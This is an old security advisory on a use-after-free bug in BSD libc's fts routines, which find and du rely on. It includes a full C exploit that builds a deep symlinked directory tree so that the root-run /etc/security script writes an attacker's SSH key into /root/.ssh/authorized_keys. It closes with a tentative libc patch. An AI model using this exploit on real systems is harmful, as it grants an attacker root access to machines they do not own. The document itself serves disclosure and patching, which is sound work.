COMMAND

    fts, du, find

SYSTEMS AFFECTED

    FreeBSD 2.2.x, OpenBSD 3.1 (at least)

PROBLEM

    Stas Kisel posted following.  Even FreeBSD-2.2.8 and FreeBSD-2.2.7
    are no longer supported, there are many people still using 2.2 and
    this  bug  probably  applies  to  FreeBSD-3.1  and ever to OpenBSD
    and other.   Approximately a  month ago  he found  a very  strange
    behaviour of 'du' with long direstory structures.  There is a  one
    bug in  libc causing  this behaviour.   Both 'find'  and 'du'  use
    'fts' (fts_read,...)  functions to  traverse directory  structure.
    fts uses realloc()  to reallocate memory  in quite complex  lists.
    There is  a bug  in adjusting  pointers after  realloc().  So when
    dealing with large  directory structures (when  realloc() needed),
    some pointers can point to free()-ed memory.

    There's no exploit, but it  is beleived to be possible  to exploit
    this  bug  using  carefully  designed  directory  tree  to execute
    arbitrary commands as root during /etc/daily->/etc/security->find.
    REMOTE ROOT EXPLOIT (POSSIBLE).   At least it is possible  to hide
    setuid binary this way  in home dir or  in /tmp.  This  was tested
    additionally on 3.1-STABLE.

    Przemyslaw Frasunek posted following.  There's a bug in  fts_print
    function  allows  to  overwrite  any  file in system, when running
    /etc/security  script  (executed  from  'daily' scripts).  Exploit
    follows:

    /*

     (c) 1999 babcia padlina ltd. <babunia@FreeBSD.lublin.pl>

     affected systems:
       - freebsd (all versions)
       - probably openbsd/netbsd

    */

    #include <stdio.h>
    #include <errno.h>
    #include <sys/stat.h>
    #include <strings.h>
    #include <unistd.h>

    #define STRING          "\nYOUR PUBLIC SSH1 KEY (-b 512) GOES HERE!\n"
    #define FILE            "/root/.ssh/authorized_keys"
    #define CORE            "find.core"
    #define DEPTH           300
    #define BUFSIZE         250

    int makedir(dir, linkfrom, linkto)
    char *dir, *linkfrom, *linkto;
    {

            if (mkdir(dir, (S_IRWXU | S_IRWXG | S_IRWXO)))
                    return -1;

            if (chdir(dir))
                    return -1;

            if (symlink(linkfrom, linkto) < 0)
                    return -1;

            return 0;
    }


    int main(argc, argv)
    int argc;
    char **argv;
    {
            int i = 0;
            char pid[10], buf[BUFSIZE];

            sprintf(pid, "%d", getpid());

            if (mkdir(pid, (S_IRWXU | S_IRWXG | S_IRWXO)))
            {
                    perror("mkdir()");
                    return -1;
            }

            if (chdir(pid))
            {
                    perror("chdir()");
                    return -1;
            }

            bzero(buf, BUFSIZE);
            memset(buf, 0x41, BUFSIZE-1);

            for(i=0;i<DEPTH;i++)
            {
                    if (makedir(STRING, FILE, CORE) < 0)
                    {
                            perror("makedir()");
                            return -1;
                    }

                    if(makedir(buf, FILE, CORE) < 0)
                    {
                            perror("makedir()");
                            return -1;
                    }
            }

            return 0;
    }

SOLUTION

    The following  patch is  designed for  FreeBSD-2.2.8-RELEASE libc.
    There was the following ID in the beginning of the source file.

	/*      $OpenBSD: fts.c,v 1.9 1997/08/02 00:13:49 millert Exp $ */

    It  was  only  tested  on  one  machine  during  one day, so it is
    probably buggy.

    --- /usr/src/lib/libc/gen/fts.c.orig    Tue May 11 13:37:49 1999
    +++ /usr/src/lib/libc/gen/fts.c Fri May 14 14:02:58 1999
    @@ -740,8 +740,26 @@
	     * If had to realloc the path, adjust the addresses for the rest
	     * of the tree.
	     */
    -       if (adjaddr)
    +       if (adjaddr){
		    fts_padjust(sp, adjaddr);
    +               /* Adjust the list, because we want to return it robust. */
    +/* fix p->fts_path and p->fts_accpath
    +   p->fts_accpath can be:
    +       either cur->fts_path    (adjust, because cur is already adjusted)
    +       either p->fts_path      (adjust)
    +       either p->fts_name      (do not adjust)
    +   I'm also almost sure that in first case cur->fts_path=p->fts_path...
    +*/
    +#define        ADJUST1(p) if((p)->fts_path != adjaddr){        \
    +       if((p)->fts_accpath != (p)->fts_name){          \
    +               (p)->fts_accpath =                      \
    +                       (char *)adjaddr + ((p)->fts_accpath - (p)->fts_path);\
    +       }                                               \
    +       (p)->fts_path = adjaddr;                        \
    +}
    +               for (p = head; p; p = p->fts_link)
    +                       ADJUST1(p);
    +       }

	    /*
	     * If not changing directories, reset the path back to original
    @@ -974,18 +992,20 @@
     {
	    FTSENT *p;

    -#define        ADJUST(p) {                                                     \
    -       (p)->fts_accpath =                                              \
    -           (char *)addr + ((p)->fts_accpath - (p)->fts_path);          \
    +#define        ADJUST2(p) {                                                    \
    +       if((p)->fts_accpath != (p)->fts_name){                          \
    +               (p)->fts_accpath =                                      \
    +                   (char *)addr + ((p)->fts_accpath - (p)->fts_path);  \
    +       }                                                               \
	    (p)->fts_path = addr;                                           \
     }
	    /* Adjust the current set of children. */
	    for (p = sp->fts_child; p; p = p->fts_link)
    -               ADJUST(p);
    +               ADJUST2(p);

	    /* Adjust the rest of the tree. */
	    for (p = sp->fts_cur; p->fts_level >= FTS_ROOTLEVEL;) {
    -               ADJUST(p);
    +               ADJUST2(p);
		    p = p->fts_link ? p->fts_link : p->fts_parent;
	    }
     }